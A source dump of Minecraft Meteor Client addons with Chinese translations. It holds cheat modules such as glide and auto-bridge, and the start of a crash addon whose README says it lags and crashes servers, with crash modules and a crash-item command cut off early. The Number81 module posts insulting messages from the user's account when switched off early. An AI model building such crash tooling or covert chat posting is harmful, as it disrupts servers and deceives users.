| public GodBridge() { 21 | super(NumbyHack.CATEGORY, "神桥", "dadadadadadadadada"); 22 | } 23 | 24 | @Override 25 | public void onActivate() { 26 | 27 | } 28 | 29 | @Override 30 | public void onDeactivate() { 31 | 32 | } 33 | 34 | //TODO: make this work 35 | @EventHandler 36 | private void onTick(TickEvent.Pre event) { 37 | mc.player.setYaw(mc.player.getMovementDirection().asRotation()); 38 | if(mc.player.getPitch() > 83 || mc.player.getPitch() < 81) { 39 | mc.player.setPitch(82.5f); 40 | } 41 | HitResult hr = mc.crosshairTarget; 42 | if (hr.getType() == HitResult.Type.BLOCK && hr instanceof BlockHitResult result) { 43 | if(Arrays.stream(allowedSides).anyMatch(direction -> direction == result.getSide())) { 44 | mc.player.swingHand(Hand.MAIN_HAND); 45 | } 46 | } 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/IgnoreDeaths.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.events.game.ReceiveMessageEvent; 5 | import meteordevelopment.meteorclient.settings.BoolSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.settings.StringListSetting; 9 | import meteordevelopment.meteorclient.systems.modules.Module; 10 | import meteordevelopment.orbit.EventHandler; 11 | import net.minecraft.text.Text; 12 | 13 | import java.util.List; 14 | 15 | public class IgnoreDeaths extends Module { 16 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 17 | 18 | private final Setting> names = sgGeneral.add(new StringListSetting.Builder() 19 | .name("玩家姓名") 20 | .description("您希望隐藏其死亡消息的玩家名称") 21 | .defaultValue(List.of()) 22 | .build() 23 | ); 24 | 25 | private final Setting mustContainWords = sgGeneral.add(new BoolSetting.Builder() 26 | .name("必须包含的词语") 27 | .description("仅当消息包含指定的单词和玩家名称时才会忽略该消息") 28 | .defaultValue(false) 29 | .build() 30 | ); 31 | 32 | private final Setting> blockedWords = sgGeneral.add(new StringListSetting.Builder() 33 | .name("屏蔽词") 34 | .description("将导致消息被阻止的词语列表") 35 | .defaultValue(List.of()) 36 | .visible(mustContainWords::get) 37 | .build() 38 | ); 39 | 40 | public IgnoreDeaths() { 41 | super(NumbyHack.CATEGORY, "忽略死亡信息", "从聊天中删除包含死亡发送者名称的消息"); 42 | } 43 | 44 | @EventHandler 45 | private void onMessageReceive(ReceiveMessageEvent event) { 46 | Text message = event.getMessage(); 47 | 48 | if (message == null) return; 49 | 50 | message = Text.of(message.getString().toLowerCase()); 51 | 52 | if (mustContainWords.get()) { 53 | for (String name : names.get()) { 54 | for (String word : blockedWords.get()) { 55 | if (message.getString().contains(name) && message.getString().contains(word.toLowerCase())) { 56 | event.cancel(); 57 | } 58 | } 59 | } 60 | } else { 61 | for (String name : names.get()) { 62 | if (message.getString().contains(name)) { 63 | event.cancel(); 64 | } 65 | } 66 | } 67 | 68 | event.setMessage(message); 69 | } 70 | } -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/NoStrip.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.events.entity.player.InteractBlockEvent; 5 | import meteordevelopment.meteorclient.settings.BoolSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.meteorclient.utils.misc.Names; 10 | import meteordevelopment.orbit.EventHandler; 11 | import net.minecraft.util.hit.BlockHitResult; 12 | import net.minecraft.util.hit.HitResult; 13 | import net.minecraft.util.math.BlockPos; 14 | /** 15 | * made by cqb13 16 | */ 17 | public class NoStrip extends Module { 18 | private final SettingGroup sgBlocks = settings.createGroup("Blocks"); 19 | 20 | private final Setting swingHand = sgBlocks.add(new BoolSetting.Builder() 21 | .name("挥动手臂") 22 | .description("渲染挥动手臂动画") 23 | .defaultValue(true) 24 | .build() 25 | ); 26 | 27 | private final Setting chatFeedback = sgBlocks.add(new BoolSetting.Builder() 28 | .name("通知") 29 | .description("当您尝试扒木头衣服时,在聊天中通知您") 30 | .defaultValue(false) 31 | .build() 32 | ); 33 | 34 | public NoStrip() { 35 | super(NumbyHack.CATEGORY, "防止削木头(没用)", "防止给木头衣服扒了"); 36 | } 37 | 38 | @EventHandler 39 | private void onInteractBlock(InteractBlockEvent event) { 40 | if (!shouldInteractBlock(event.result)) event.cancel(); 41 | } 42 | 43 | private boolean shouldInteractBlock(BlockHitResult hitResult) { 44 | if(mc.player.getMainHandStack().getItem().toString().contains("axe")){ 45 | if (mc.crosshairTarget.getType() == HitResult.Type.BLOCK) { 46 | BlockPos pos = ((BlockHitResult) mc.crosshairTarget).getBlockPos(); 47 | String result = Names.get(mc.world.getBlockState(pos).getBlock()); 48 | if (result.contains("Log")){ 49 | if (swingHand.get()) mc.player.swingHand(mc.player.getActiveHand()); 50 | if (chatFeedback.get()) info("木头:不要扒我衣服啊!"); 51 | return false; 52 | } 53 | } 54 | } 55 | return true; 56 | } 57 | } -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/Number81.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Module; 6 | import meteordevelopment.meteorclient.utils.player.ChatUtils; 7 | import meteordevelopment.orbit.EventHandler; 8 | 9 | import java.util.Objects; 10 | 11 | /** 12 | * made by cqb13 13 | */ 14 | public class Number81 extends Module { 15 | 16 | public Number81() { 17 | super(NumbyHack.CATEGORY, "81", "从1数到81"); 18 | } 19 | 20 | private int timer; 21 | private int count; 22 | private boolean setTimer; 23 | 24 | @Override 25 | public void onActivate() { 26 | count = 0; 27 | } 28 | 29 | @Override 30 | public void onDeactivate() { 31 | assert mc.player != null; 32 | var name = mc.player.getName(); 33 | if (Objects.equals(name.toString(), "cqb13") || Objects.equals(name.toString(), "Number81")) { 34 | return; 35 | } 36 | if (count != 81) { 37 | assert mc.player != null; 38 | ChatUtils.sendPlayerMsg("I am a lazy bitch and did not count to 81!"); 39 | ChatUtils.sendPlayerMsg("I am a disgrace and should be punished!"); 40 | ChatUtils.sendPlayerMsg("I am a very bad person!"); 41 | ChatUtils.sendPlayerMsg("Number81 is the best!"); 42 | ChatUtils.sendPlayerMsg("翻译由Lucky_starQAQ(blossompeople)完成"); 43 | } 44 | } 45 | 46 | @EventHandler 47 | private void onTick(TickEvent.Pre event) { 48 | if (setTimer){ 49 | timer = (int)(Math.random() * 70 + 40); 50 | setTimer = false; 51 | } 52 | timer--; 53 | if(timer < 0){ 54 | count++; 55 | assert mc.player != null; 56 | ChatUtils.sendPlayerMsg(String.valueOf(count)); 57 | setTimer = true; 58 | } 59 | if(count == 81){ 60 | assert mc.player != null; 61 | ChatUtils.sendPlayerMsg("Number81 on top!"); 62 | toggle(); 63 | } 64 | } 65 | } 66 | 67 | 68 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/WurstGlide.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.*; 6 | import meteordevelopment.meteorclient.systems.modules.Module; 7 | import meteordevelopment.orbit.EventHandler; 8 | import net.minecraft.client.network.ClientPlayerEntity; 9 | import net.minecraft.util.math.Box; 10 | import net.minecraft.util.math.Vec3d; 11 | 12 | // https://github.com/Wurst-Imperium/Wurst7/blob/master/src/main/java/net/wurstclient/hacks/GlideHack.java 13 | 14 | public class WurstGlide extends Module { 15 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 16 | 17 | public final Setting fallSpeed = sgGeneral.add(new DoubleSetting.Builder() 18 | .name("下落速度") 19 | .description("下落速度") 20 | .defaultValue(0.125) 21 | .min(0.005) 22 | .sliderRange(0.005, 0.25) 23 | .build() 24 | ); 25 | 26 | public final Setting moveSpeed = sgGeneral.add(new DoubleSetting.Builder() 27 | .name("水平速度") 28 | .description("水平速度") 29 | .defaultValue(1.2) 30 | .min(1) 31 | .sliderRange(1, 5) 32 | .build() 33 | ); 34 | 35 | public final Setting minHeight = sgGeneral.add(new DoubleSetting.Builder() 36 | .name("滑翔最小高度") 37 | .description("当您离地面太近时不会滑翔") 38 | .defaultValue(0) 39 | .min(0) 40 | .sliderRange(0, 2) 41 | .build() 42 | ); 43 | 44 | public WurstGlide() { 45 | super(NumbyHack.CATEGORY, "Wurst滑翔", "滑翔(源自Wurst)"); 46 | } 47 | 48 | @EventHandler 49 | private void onTick(TickEvent.Post event) { 50 | ClientPlayerEntity player = mc.player; 51 | Vec3d v = player.getVelocity(); 52 | 53 | if(player.isOnGround() || player.isTouchingWater() || player.isInLava() || player.isClimbing() || v.y >= 0) return; 54 | 55 | if(minHeight.get() > 0) 56 | { 57 | Box box = player.getBoundingBox(); 58 | box = box.union(box.offset(0, -minHeight.get(), 0)); 59 | if(!mc.world.isSpaceEmpty(box)) return; 60 | } 61 | 62 | player.setVelocity(v.x, Math.max(v.y, -fallSpeed.get()), v.z); 63 | //player.airStrafingSpeed *= moveSpeed.get(); 64 | player.sidewaysSpeed *= moveSpeed.get(); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/hud/Logo.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.hud; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.renderer.GL; 5 | import meteordevelopment.meteorclient.renderer.Renderer2D; 6 | import meteordevelopment.meteorclient.settings.*; 7 | import meteordevelopment.meteorclient.systems.hud.HudElement; 8 | import meteordevelopment.meteorclient.systems.hud.HudElementInfo; 9 | import meteordevelopment.meteorclient.systems.hud.HudRenderer; 10 | import meteordevelopment.meteorclient.utils.render.color.Color; 11 | import net.minecraft.util.Identifier; 12 | 13 | public class Logo extends HudElement { 14 | public static final HudElementInfo INFO = new HudElementInfo<>(NumbyHack.HUD_GROUP, "logo", "Shows the Numby Hack logo in the HUD.", Logo::new); 15 | 16 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 17 | 18 | private final Setting scale = sgGeneral.add(new DoubleSetting.Builder() 19 | .name("scale") 20 | .description("The scale of the logo.") 21 | .defaultValue(3) 22 | .min(0.1) 23 | .sliderRange(0.1, 10) 24 | .build() 25 | ); 26 | 27 | public Logo() { 28 | super(INFO); 29 | } 30 | 31 | private final Identifier TEXTURE = new Identifier("numby-hack", "textures/icon.png"); 32 | 33 | @Override 34 | public void tick(HudRenderer renderer) { 35 | box.setSize(64 * scale.get(), 64 * scale.get()); 36 | } 37 | 38 | @Override 39 | public void render(HudRenderer renderer) { 40 | GL.bindTexture(TEXTURE); 41 | Renderer2D.TEXTURE.begin(); 42 | Renderer2D.TEXTURE.texQuad(this.x, this.y, this.getWidth(), this.getHeight(), Color.WHITE); 43 | Renderer2D.TEXTURE.render(null); 44 | } 45 | } -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/hud/TextPresets.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.hud; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.systems.hud.HudElementInfo; 5 | import meteordevelopment.meteorclient.systems.hud.elements.TextHud; 6 | 7 | public class TextPresets { 8 | public static final HudElementInfo INFO = new HudElementInfo<>(NumbyHack.HUD_GROUP, "numby-text", "Displays arbitrary text with Starscript.", TextPresets::create); 9 | 10 | static { 11 | addPreset("81", "Number81 on top!", 0); 12 | addPreset("Kills", "Kills: #1{numbyhack.kills}", 0); 13 | addPreset("Deaths", "Deaths: #1{numbyhack.deaths}", 0); 14 | addPreset("KDR", "KDR: #1{numbyhack.kdr}", 0); 15 | addPreset("Highscore", "Highscore: #1{numbyhack.highscore}", 0); 16 | addPreset("Killstreak", "Killstreak: #1{numbyhack.killstreak}", 0); 17 | addPreset("Crystals/s", "Crystals/s: #1{numbyhack.crystalsps}", 0); 18 | addPreset("Server Brand", "Server Brand: #1{numbyhack.brand}", 0); 19 | } 20 | 21 | private static TextHud create() { 22 | return new TextHud(INFO); 23 | } 24 | 25 | private static HudElementInfo.Preset addPreset(String title, String text, int updateDelay) { 26 | return INFO.addPreset(title, textHud -> { 27 | if (text != null) textHud.text.set(text); 28 | if (updateDelay != -1) textHud.updateDelay.set(updateDelay); 29 | }); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Fabric-Gradle-Version: 7.4.1 3 | Fabric-Loom-Version: 0.12.56 4 | Fabric-Mixin-Compile-Extensions-Version: 0.5.0 5 | Fabric-Minecraft-Version: 1.20.2 6 | Fabric-Tiny-Remapper-Version: 0.8.2 7 | Fabric-Loader-Version: 0.14.22 8 | Fabric-Mixin-Version: 0.12.5+mixin.0.8.5 9 | Fabric-Mixin-Group: net.fabricmc 10 | Fabric-Mapping-Namespace: intermediary 11 | 12 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/resources/Numby-Hack-refmap.json: -------------------------------------------------------------------------------- 1 | { 2 | "mappings": { 3 | "cqb13/NumbyHack/mixins/ClientPlayerEntityMixin": { 4 | "pushOutOfBlocks": "Lnet/minecraft/class_746;method_30673(DD)V" 5 | }, 6 | "cqb13/NumbyHack/mixins/CustomPayloadS2CPacketMixin": { 7 | "apply(Lnet/minecraft/network/listener/ClientCommonPacketListener;)V": "Lnet/minecraft/class_2658;method_53024(Lnet/minecraft/class_8705;)V" 8 | }, 9 | "cqb13/NumbyHack/mixins/DeathScreenMixin": { 10 | "init": "Lnet/minecraft/class_418;method_25426()V" 11 | }, 12 | "cqb13/NumbyHack/mixins/EntityAccessor": { 13 | "setFlag": "method_5729(IZ)V" 14 | }, 15 | "cqb13/NumbyHack/mixins/TotemParticleMixin": { 16 | "": "Lnet/minecraft/class_734;(Lnet/minecraft/class_638;DDDDDDLnet/minecraft/class_4002;)V" 17 | }, 18 | "cqb13/NumbyHack/mixins/meteor/CrystalAuraAccessor": { 19 | "bestTarget": "bestTarget:Lnet/minecraft/class_1657;" 20 | } 21 | }, 22 | "data": { 23 | "named:intermediary": { 24 | "cqb13/NumbyHack/mixins/ClientPlayerEntityMixin": { 25 | "pushOutOfBlocks": "Lnet/minecraft/class_746;method_30673(DD)V" 26 | }, 27 | "cqb13/NumbyHack/mixins/CustomPayloadS2CPacketMixin": { 28 | "apply(Lnet/minecraft/network/listener/ClientCommonPacketListener;)V": "Lnet/minecraft/class_2658;method_53024(Lnet/minecraft/class_8705;)V" 29 | }, 30 | "cqb13/NumbyHack/mixins/DeathScreenMixin": { 31 | "init": "Lnet/minecraft/class_418;method_25426()V" 32 | }, 33 | "cqb13/NumbyHack/mixins/EntityAccessor": { 34 | "setFlag": "method_5729(IZ)V" 35 | }, 36 | "cqb13/NumbyHack/mixins/TotemParticleMixin": { 37 | "": "Lnet/minecraft/class_734;(Lnet/minecraft/class_638;DDDDDDLnet/minecraft/class_4002;)V" 38 | }, 39 | "cqb13/NumbyHack/mixins/meteor/CrystalAuraAccessor": { 40 | "bestTarget": "bestTarget:Lnet/minecraft/class_1657;" 41 | } 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/resources/NumbyHack.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "package": "cqb13.NumbyHack.mixins", 4 | "compatibilityLevel": "JAVA_16", 5 | "client": [ 6 | "ClientPlayerEntityMixin", 7 | "CustomPayloadS2CPacketMixin", 8 | "DeathScreenMixin", 9 | "EntityAccessor", 10 | "TotemParticleMixin", 11 | "meteor.CrystalAuraAccessor", 12 | "meteor.DiscordPresenceMixin", 13 | "meteor.BetterChatMixin" 14 | ], 15 | "injectors": { 16 | "defaultRequire": 1 17 | } 18 | } -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/resources/accesswidener: -------------------------------------------------------------------------------- 1 | accessWidener v1 named 2 | 3 | Accessible class net/minecraft/client/render/RenderLayer$OutlineMode 4 | Accessible class net/minecraft/client/particle/FireworksSparkParticle$Explosion 5 | Accessible method net/minecraft/text/TextColor (I)V 6 | Accessible field net/minecraft/client/network/AbstractClientPlayerEntity cachedScoreboardEntry Lnet/minecraft/client/network/PlayerListEntry; 7 | 8 | # For some retarded reason both InteractType and InteractAtHandler are needed for InteractType to be public, don't ask me why 9 | Accessible class net/minecraft/network/packet/c2s/play/PlayerInteractEntityC2SPacket$InteractType 10 | Accessible class net/minecraft/network/packet/c2s/play/PlayerInteractEntityC2SPacket$InteractAtHandler 11 | Accessible class net/minecraft/network/packet/c2s/play/PlayerInteractEntityC2SPacket$InteractTypeHandler 12 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/resources/assets/numby-hack/textures/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Numby-hack-1.20.2-build-25/src/main/resources/assets/numby-hack/textures/icon.png -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "numbyhack", 4 | "version": "${version}", 5 | "name": "Numby Hack", 6 | "description": "A simple Meteor addon focused on giving users more customization options. Made in honor of Number81.", 7 | "authors": [ 8 | "cqb13" 9 | ], 10 | "contact": { 11 | "repo": "https://github.com/cqb13/Numby-hack", 12 | "sources": "https://github.com/cqb13/Numby-hack", 13 | "issues": "https://github.com/cqb13/Numby-hack/issues" 14 | }, 15 | "icon": "assets/numby-hack/textures/icon.png", 16 | "environment": "client", 17 | "entrypoints": { 18 | "meteor": [ 19 | "cqb13.NumbyHack.NumbyHack" 20 | ] 21 | }, 22 | "mixins": [ 23 | "NumbyHack.mixins.json" 24 | ], 25 | "accessWidener": "accesswidener", 26 | "custom": { 27 | "meteor-client:color": "146,188,98" 28 | }, 29 | "depends": { 30 | "java": ">=17", 31 | "minecraft": ">=${mc_version}", 32 | "meteor-client": ">=0.5.1" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Numby-hack-1.20.2-build-25禁用的模块 2 | - Beyblade 3 | - FloRida 4 | - NewChunks 5 | - NoStrip 6 | - SafetyNet 7 | - TanukiEgapFinder 8 | - TunnelESP 9 | - WurstGlide 10 | 11 | # meteor-crash-addon-latest-1.20.2禁用的模块 12 | - 无 13 | 14 | # Meteorist-1.7禁用的模块 15 | - AutoLight 16 | - AutoSleep 17 | - AutoSneak 18 | - DmSpam 19 | - SlotClick 20 | 21 | # MeteorPlus-1.20.2禁用的模块 22 | - AutoObsidianFarm 23 | - VelocityPlus 24 | 25 |
26 | 测试版本:1.20.3 27 |

这些模块都是1.20.3用不了或者是会崩溃的

28 | 如需启用请与我联系或自行更改 29 | -------------------------------------------------------------------------------- /meteor-client-0.5.6/src/main/java/meteordevelopment/meteorclient/renderer/text/CharData.java: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the Meteor Client distribution (https://github.com/MeteorDevelopment/meteor-client). 3 | * Copyright (c) Meteor Development. 4 | */ 5 | 6 | package meteordevelopment.meteorclient.renderer.text; 7 | 8 | public class CharData { 9 | public final float x0, y0, x1, y1; 10 | public final float u0, v0, u1, v1; 11 | public final float xAdvance; 12 | 13 | public CharData(float x0, float y0, float x1, float y1, float u0, float v0, float u1, float v1, float xAdvance) { 14 | this.x0 = x0; 15 | this.y0 = y0; 16 | this.x1 = x1; 17 | this.y1 = y1; 18 | this.u0 = u0; 19 | this.v0 = v0; 20 | this.u1 = u1; 21 | this.v1 = v1; 22 | this.xAdvance = xAdvance; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/.editorconfig: -------------------------------------------------------------------------------- 1 | [*] 2 | charset = utf-8 3 | indent_style = space 4 | insert_final_newline = true 5 | trim_trailing_whitespace = true 6 | indent_size = 4 7 | 8 | [*.{json, yml}] 9 | indent_size = 2 10 | 11 | [*.md] 12 | trim_trailing_whitespace = false 13 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/.github/workflows/gradle.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Gradle 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-gradle 3 | 4 | name: Java CI with Gradle 5 | 6 | concurrency: 7 | group: "build-1.20" 8 | cancel-in-progress: true 9 | 10 | on: 11 | push: 12 | branches: [ master, main ] 13 | paths-ignore: 14 | - '*.md' 15 | 16 | jobs: 17 | build: 18 | runs-on: ubuntu-latest 19 | steps: 20 | - uses: actions/checkout@v2 21 | - name: Set up JDK 17 22 | uses: actions/setup-java@v2 23 | with: 24 | java-version: 17 25 | distribution: 'zulu' 26 | - name: Grant execute permission for gradlew 27 | run: chmod +x gradlew 28 | - name: Build with Gradle 29 | run: ./gradlew build 30 | - name: Remove *-dev.jar 31 | run: rm ./build/libs/*-dev.jar || true 32 | - uses: "marvinpinto/action-automatic-releases@latest" 33 | with: 34 | repo_token: "${{ secrets.GITHUB_TOKEN }}" 35 | automatic_release_tag: "latest-1.20.2" 36 | prerelease: false 37 | title: "1.20.2 Build" 38 | files: | 39 | ./build/libs/*.jar 40 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/.gitignore: -------------------------------------------------------------------------------- 1 | # gradle 2 | 3 | .gradle/ 4 | build/ 5 | out/ 6 | classes/ 7 | 8 | # eclipse 9 | 10 | *.launch 11 | 12 | # idea 13 | 14 | .idea/ 15 | *.iml 16 | *.ipr 17 | *.iws 18 | 19 | # vscode 20 | 21 | .settings/ 22 | .vscode/ 23 | bin/ 24 | .classpath 25 | .project 26 | 27 | # macos 28 | 29 | *.DS_Store 30 | 31 | # fabric 32 | 33 | run/ 34 | 35 | !build/loom-cache/meteor-client-*.jar -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/README.md: -------------------------------------------------------------------------------- 1 |

2 | logo 3 |

4 |

Meteor Crash Addon

5 |

6 | An addon to Meteor Client that adds various modules designed to lag and crash servers. 7 |

8 | 18 | 19 |
20 | 21 |
22 | 23 |
24 | 25 | # Usage 26 | - Either build it yourself, or download the latest dev build from the [releases page](https://github.com/AntiCope/meteor-crash-addon/releases) 27 | - Put in your `.minecraft/mods` folder along with the latest dev build of meteor client 28 | - Run 29 | 30 | Thanks to SB for the icon and the respective mod developers for certain modules. 31 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'fabric-loom' version '1.4-SNAPSHOT' 3 | id 'maven-publish' 4 | } 5 | 6 | sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17 7 | archivesBaseName = project.archives_base_name 8 | version = project.mod_version 9 | group = project.maven_group 10 | 11 | repositories { 12 | mavenCentral() 13 | maven { url "https://maven.meteordev.org/releases"} 14 | maven { url "https://maven.meteordev.org/snapshots" } 15 | } 16 | 17 | dependencies { 18 | // Minecraft 19 | minecraft "com.mojang:minecraft:${project.minecraft_version}" 20 | mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2" 21 | modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" 22 | 23 | // Meteor 24 | modImplementation "meteordevelopment:meteor-client:${project.meteor_version}-SNAPSHOT" 25 | } 26 | 27 | processResources { 28 | inputs.property "version", project.version 29 | 30 | filesMatching("fabric.mod.json") { 31 | expand "version": project.version 32 | 33 | filter { line -> line.replace("@mc_version@", project.minecraft_version) } 34 | filter { line -> line.replace("@gh_hash@", System.getenv("GITHUB_SHA") ?: "") } 35 | } 36 | } 37 | 38 | tasks.withType(JavaCompile).configureEach { 39 | it.options.encoding = "UTF-8" 40 | it.options.release = 17 41 | } 42 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/gradle.properties: -------------------------------------------------------------------------------- 1 | org.gradle.jvmargs=-Xmx2G 2 | 3 | # Fabric Properties (https://fabricmc.net/develop/) 4 | minecraft_version=1.20.2 5 | yarn_mappings=1.20.2+build.4 6 | loader_version=0.14.23 7 | 8 | # Mod Properties 9 | mod_version=0.6 10 | maven_group=Wide-Cat 11 | archives_base_name=meteor-crash-addon 12 | 13 | meteor_version=0.5.5 14 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/meteor-crash-addon-latest-1.20.2/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://mirrors.cloud.tencent.com/gradle/gradle-8.3-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | gradlePluginPortal() 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/CrashAddon.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon; 2 | 3 | import meteordevelopment.meteorclient.addons.GithubRepo; 4 | import meteordevelopment.meteorclient.addons.MeteorAddon; 5 | import meteordevelopment.meteorclient.commands.Commands; 6 | import meteordevelopment.meteorclient.systems.modules.Category; 7 | import meteordevelopment.meteorclient.systems.modules.Modules; 8 | import net.fabricmc.loader.api.FabricLoader; 9 | import net.minecraft.item.Items; 10 | import org.slf4j.Logger; 11 | import org.slf4j.LoggerFactory; 12 | import widecat.meteorcrashaddon.commands.CrashItemCommand; 13 | import widecat.meteorcrashaddon.modules.*; 14 | 15 | public class CrashAddon extends MeteorAddon { 16 | public static final Logger LOG = LoggerFactory.getLogger("CrashAddon"); 17 | public static final Category CATEGORY = new Category("Crash", Items.TNT.getDefaultStack()); 18 | 19 | @Override 20 | public void onInitialize() { 21 | LOG.info("初始化Meteor Crash插件"); 22 | 23 | Modules.get().add(new AACCrash()); 24 | Modules.get().add(new BookCrash()); 25 | Modules.get().add(new ContainerCrash()); 26 | Modules.get().add(new CraftingCrash()); 27 | Modules.get().add(new CreativeCrash()); 28 | Modules.get().add(new EntityCrash()); 29 | Modules.get().add(new ErrorCrash()); 30 | Modules.get().add(new InteractCrash()); 31 | Modules.get().add(new LecternCrash()); 32 | Modules.get().add(new MessageLagger()); 33 | Modules.get().add(new MovementCrash()); 34 | Modules.get().add(new PacketSpammer()); 35 | Modules.get().add(new SequenceCrash()); 36 | 37 | Commands.add(new CrashItemCommand()); 38 | } 39 | 40 | @Override 41 | public void onRegisterCategories() { 42 | Modules.registerCategory(CATEGORY); 43 | } 44 | 45 | @Override 46 | public String getWebsite() { 47 | return "https://github.com/AntiCope/meteor-crash-addon"; 48 | } 49 | 50 | @Override 51 | public GithubRepo getRepo() { 52 | return new GithubRepo("AntiCope", "meteor-crash-addon"); 53 | } 54 | 55 | @Override 56 | public String getCommit() { 57 | String commit = FabricLoader 58 | .getInstance() 59 | .getModContainer("meteor-crash-addon") 60 | .get().getMetadata() 61 | .getCustomValue("github:sha") 62 | .getAsString(); 63 | return commit.isEmpty() ? null : commit.trim(); 64 | 65 | } 66 | 67 | public String getPackage() { 68 | return "widecat.meteorcrashaddon"; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.commands; 2 | 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder; 4 | import meteordevelopment.meteorclient.commands.Command; 5 | import net.minecraft.command.CommandSource; 6 | import net.minecraft.item.ItemStack; 7 | import net.minecraft.item.Items; 8 | import net.minecraft.nbt.NbtCompound; 9 | import net.minecraft.nbt.NbtDouble; 10 | import net.minecraft.nbt.NbtList; 11 | import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; 12 | 13 | import static com.mojang.brigadier.Command.SINGLE_SUCCESS; 14 | import static meteordevelopment.meteorclient.MeteorClient.mc; 15 | 16 | public class CrashItemCommand extends Command { 17 | 18 | public CrashItemCommand() { 19 | super("crashitem", "Gives you crash items."); 20 | } 21 | 22 | @Override 23 | public void build(LiteralArgumentBuilder builder) { 24 | builder.then(literal("CrashFireball").executes(ctx -> { 25 | ItemStack CrashFireball = new ItemStack(Items.CAVE_SPIDER_SPAWN_EGG); 26 | NbtCompound tag1 = new NbtCompound(); 27 